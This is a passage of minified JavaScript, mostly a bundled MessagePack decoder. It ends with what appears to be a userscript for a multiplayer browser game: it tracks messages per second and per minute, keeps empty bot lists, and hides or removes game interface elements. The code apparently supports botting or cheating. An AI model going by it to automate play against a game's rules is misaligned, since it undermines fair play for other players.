e.prototype.readI16 = function() {
var e = this.view.getInt16(this.pos);
return this.pos += 2,
e
}
,
e.prototype.readU32 = function() {
var e = this.view.getUint32(this.pos);
return this.pos += 4,
e
}
,
e.prototype.readI32 = function() {
var e = this.view.getInt32(this.pos);
return this.pos += 4,
e
}
,
e.prototype.readU64 = function() {
var e = function(e, t) {
return 4294967296 * e.getUint32(t) + e.getUint32(t + 4)
}(this.view, this.pos);
return this.pos += 8,
e
}
,
e.prototype.readI64 = function() {
var e = c(this.view, this.pos);
return this.pos += 8,
e
}
,
e.prototype.readF32 = function() {
var e = this.view.getFloat32(this.pos);
return this.pos += 4,
e
}
,
e.prototype.readF64 = function() {
var e = this.view.getFloat64(this.pos);
return this.pos += 8,
e
}
,
e
}()
, W = {};
function X(e, t) {
return void 0 === t && (t = W),
new q(t.extensionCodec,t.context,t.maxStrLength,t.maxBinLength,t.maxArrayLength,t.maxMapLength,t.maxExtLength).decode(e)
}
function G(e, t) {
return void 0 === t && (t = W),
new q(t.extensionCodec,t.context,t.maxStrLength,t.maxBinLength,t.maxArrayLength,t.maxMapLength,t.maxExtLength).decodeMulti(e)
}
var N = function(e, t) {
var i, n, s, o, a = {
label: 0,
sent: function() {
if (1 & s[0])
throw s[1];
return s[1]
},
trys: [],
ops: []
};
return o = {
next: r(0),
throw: r(1),
return: r(2)
},
"function" == typeof Symbol && (o[Symbol.iterator] = function() {
return this
}
),
o;
function r(o) {
return function(r) {
return function(o) {
if (i)
throw new TypeError("Generator is already executing.");
for (; a; )
try {
if (i = 1,
n && (s = 2 & o[0] ? n.return : o[0] ? n.throw || ((s = n.return) && s.call(n),
0) : n.next) && !(s = s.call(n, o[1])).done)
return s;
switch (n = 0,
s && (o = [2 & o[0], s.value]),
o[0]) {
case 0:
case 1:
s = o;
break;
case 4:
return a.label++,
{
value: o[1],
done: !1
};
case 5:
a.label++,
n = o[1],
o = [0];
continue;
case 7:
o = a.ops.pop(),
a.trys.pop();
continue;
default:
if (!(s = (s = a.trys).length > 0 && s[s.length - 1]) && (6 === o[0] || 2 === o[0])) {
a = 0;
continue
}
if (3 === o[0] && (!s || o[1] > s[0] && o[1] < s[3])) {
a.label = o[1];
break
}
if (6 === o[0] && a.label < s[1]) {
a.label = s[1],
s = o;
break
}
if (s && a.label < s[2]) {
a.label = s[2],
a.ops.push(o);
break
}
s[2] && a.ops.pop(),
a.trys.pop();
continue
}
o = t.call(e, a)
} catch (e) {
o = [6, e],
n = 0
} finally {
i = s = 0
}
if (5 & o[0])
throw o[1];
return {
value: o[0] ? o[1] : void 0,
done: !0
}
}([o, r])
}
}
}
, Y = function(e) {
return this instanceof Y ? (this.v = e,
this) : new Y(e)
}
, K = function(e, t, i) {
if (!Symbol.asyncIterator)
throw new TypeError("Symbol.asyncIterator is not defined.");
var n, s = i.apply(e, t || []), o = [];
return n = {},
a("next"),
a("throw"),
a("return"),
n[Symbol.asyncIterator] = function() {
return this
}
,
n;
function a(e) {
s[e] && (n[e] = function(t) {
return new Promise((function(i, n) {
o.push([e, t, i, n]) > 1 || r(e, t)
}
))
}
)
}
function r(e, t) {
try {
!function(e) {
e.value instanceof Y ? Promise.resolve(e.value.v).then(c, l) : h(o[0][2], e)
}(s[e](t))
} catch (e) {
h(o[0][3], e)
}
}
function c(e) {
r("next", e)
}
function l(e) {
r("throw", e)
}
function h(e, t) {
e(t),
o.shift(),
o.length && r(o[0][0], o[0][1])
}
};
function J(e) {
return function(e) {
return null != e[Symbol.asyncIterator]
}(e) ? e : function(e) {
return K(this, arguments, (function() {
var t, i, n, s;
return N(this, (function(o) {
switch (o.label) {
case 0:
t = e.getReader(),
o.label = 1;
case 1:
o.trys.push([1, , 9, 10]),
o.label = 2;
case 2:
return [4, Y(t.read())];
case 3:
return i = o.sent(),
n = i.done,
s = i.value,
n ? [4, Y(void 0)] : [3, 5];
case 4:
return [2, o.sent()];
case 5:
return function(e) {
if (null == e)
throw new Error("Assertion Failure: value must not be null nor undefined")
}(s),
[4, Y(s)];
case 6:
return [4, o.sent()];
case 7:
return o.sent(),
[3, 2];
case 8:
return [3, 10];
case 9:
return t.releaseLock(),
[7];
case 10:
return [2]
}
}
))
}
))
}(e)
}
function Q(e, t) {
return void 0 === t && (t = W),
function(e, t, i, n) {
return new (i || (i = Promise))((function(s, o) {
function a(e) {
try {
c(n.next(e))
} catch (e) {
o(e)
}
}
function r(e) {
try {
c(n.throw(e))
} catch (e) {
o(e)
}
}
function c(e) {
e.done ? s(e.value) : function(e) {
return e instanceof i ? e : new i((function(t) {
t(e)
}
))
}(e.value).then(a, r)
}
c((n = n.apply(e, t || [])).next())
}
))
}(this, void 0, void 0, (function() {
var i;
return function(e, t) {
var i, n, s, o, a = {
label: 0,
sent: function() {
if (1 & s[0])
throw s[1];
return s[1]
},
trys: [],
ops: []
};
return o = {
next: r(0),
throw: r(1),
return: r(2)
},
"function" == typeof Symbol && (o[Symbol.iterator] = function() {
return this
}
),
o;
function r(o) {
return function(r) {
return function(o) {
if (i)
throw new TypeError("Generator is already executing.");
for (; a; )
try {
if (i = 1,
n && (s = 2 & o[0] ? n.return : o[0] ? n.throw || ((s = n.return) && s.call(n),
0) : n.next) && !(s = s.call(n, o[1])).done)
return s;
switch (n = 0,
s && (o = [2 & o[0], s.value]),
o[0]) {
case 0:
case 1:
s = o;
break;
case 4:
return a.label++,
{
value: o[1],
done: !1
};
case 5:
a.label++,
n = o[1],
o = [0];
continue;
case 7:
o = a.ops.pop(),
a.trys.pop();
continue;
default:
if (!(s = (s = a.trys).length > 0 && s[s.length - 1]) && (6 === o[0] || 2 === o[0])) {
a = 0;
continue
}
if (3 === o[0] && (!s || o[1] > s[0] && o[1] < s[3])) {
a.label = o[1];
break
}
if (6 === o[0] && a.label < s[1]) {
a.label = s[1],
s = o;
break
}
if (s && a.label < s[2]) {
a.label = s[2],
a.ops.push(o);
break
}
s[2] && a.ops.pop(),
a.trys.pop();
continue
}
o = t.call(e, a)
} catch (e) {
o = [6, e],
n = 0
} finally {
i = s = 0
}
if (5 & o[0])
throw o[1];
return {
value: o[0] ? o[1] : void 0,
done: !0
}
}([o, r])
}
}
}(this, (function(n) {
return i = J(e),
[2, new q(t.extensionCodec,t.context,t.maxStrLength,t.maxBinLength,t.maxArrayLength,t.maxMapLength,t.maxExtLength).decodeAsync(i)]
}
))
}
))
}
function $(e, t) {
void 0 === t && (t = W);
var i = J(e);
return new q(t.extensionCodec,t.context,t.maxStrLength,t.maxBinLength,t.maxArrayLength,t.maxMapLength,t.maxExtLength).decodeArrayStream(i)
}
function Z(e, t) {
void 0 === t && (t = W);
var i = J(e);
return new q(t.extensionCodec,t.context,t.maxStrLength,t.maxBinLength,t.maxArrayLength,t.maxMapLength,t.maxExtLength).decodeStream(i)
}
function ee(e, t) {
return void 0 === t && (t = W),
Z(e, t)
}
i.d(t, "encode", (function() {
return O
}));
i.d(t, "decode", (function() {
return X
}));
i.d(t, "decodeMulti", (function() {
return G
}));
i.d(t, "decodeAsync", (function() {
return Q
}));
i.d(t, "decodeArrayStream", (function() {
return $
}));
i.d(t, "decodeMultiStream", (function() {
return Z
}));
i.d(t, "decodeStream", (function() {
return ee
}));
i.d(t, "Decoder", (function() {
return q
}));
i.d(t, "DecodeError", (function() {
return w
}));
i.d(t, "DataViewIndexOutOfBoundsError", (function() {
return F
}));
i.d(t, "Encoder", (function() {
return P
}));
i.d(t, "ExtensionCodec", (function() {
return M
}));
i.d(t, "ExtData", (function() {
return y
}));
i.d(t, "EXT_TIMESTAMP", (function() {
return -1
}));
i.d(t, "encodeDateToTimeSpec", (function() {
return b
}));
i.d(t, "encodeTimeSpecToTimestamp", (function() {
return v
}));
i.d(t, "decodeTimestampToTimeSpec", (function() {
return S
}));
i.d(t, "encodeTimestampExtension", (function() {
return x
}));
i.d(t, "decodeTimestampExtension", (function() {
return I
}));
}, function(e, t, n){//38
e.exports.perSecond = {
count: 0,
max: 90,
};
e.exports.perMinute = {
count: 0,
max: 54e2,
};
}, function(e, t, n){//38
e.exports.bots = [];
e.exports.bot = [];
e.exports.websocketCodes == ``
}];
!function(e) {
var t = {};
function i(n) {
if (t[n])
return t[n].exports;
var s = t[n] = {
i: n,
l: !1,
exports: {}
};
return e[n].call(s.exports, s, s.exports, i),
s.l = !0,
s.exports
}
i.m = e,
i.c = t,
i.d = function(e, t, n) {
i.o(e, t) || Object.defineProperty(e, t, {
enumerable: !0,
get: n
})
}
,
i.r = function(e) {
"undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {
value: "Module"
}),
Object.defineProperty(e, "__esModule", {
value: !0
})
}
,
i.t = function(e, t) {
if (1 & t && (e = i(e)),
8 & t)
return e;
if (4 & t && "object" == typeof e && e && e.__esModule)
return e;
var n = Object.create(null);
if (i.r(n),
Object.defineProperty(n, "default", {
enumerable: !0,
value: e
}),
2 & t && "string" != typeof e)
for (var s in e)
i.d(n, s, function(t) {
return e[t]
}
.bind(null, s));
return n
}
,
i.n = function(e) {
var t = e && e.__esModule ? function() {
return e.default
}
: function() {
return e
}
;
return i.d(t, "a", t),
t
}
,
i.o = function(e, t) {
return Object.prototype.hasOwnProperty.call(e, t)
}
,
i.p = "",
i(i.s = 2)
}(webpackModules);
let equiper = setInterval(() => {
if(document.getElementById("actionBarItem17")) document.getElementById("actionBarItem17").style.backgroundImage = "url('data:image/png;base64,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";
if(document.getElementById("actionBarItem23")) document.getElementById("actionBarItem23").style.display = "none";
if(document.getElementById("actionBarItem24")) document.getElementById("actionBarItem24").style.display = "none";
if(document.getElementById("actionBarItem22")) document.getElementById("actionBarItem22").style.display = "none";
if(document.getElementById("actionBarItem25")) document.getElementById("actionBarItem25").style.display = "none";
if(document.getElementById("actionBarItem31")) document.getElementById("actionBarItem31").style.display = "none";
if(document.getElementById("actionBarItem38")) document.getElementById("actionBarItem38").style.display = "none";
if(document.getElementById("diedText")) document.getElementById("diedText").remove()
if(document.getElementById("chatButton")) document.getElementById("chatButton").remove()
let chatBox = document.getElementById("chatBox");
chatBox.style.transform = "translate(-900%)";
chatBox.style.left = "-900%";
}, 0);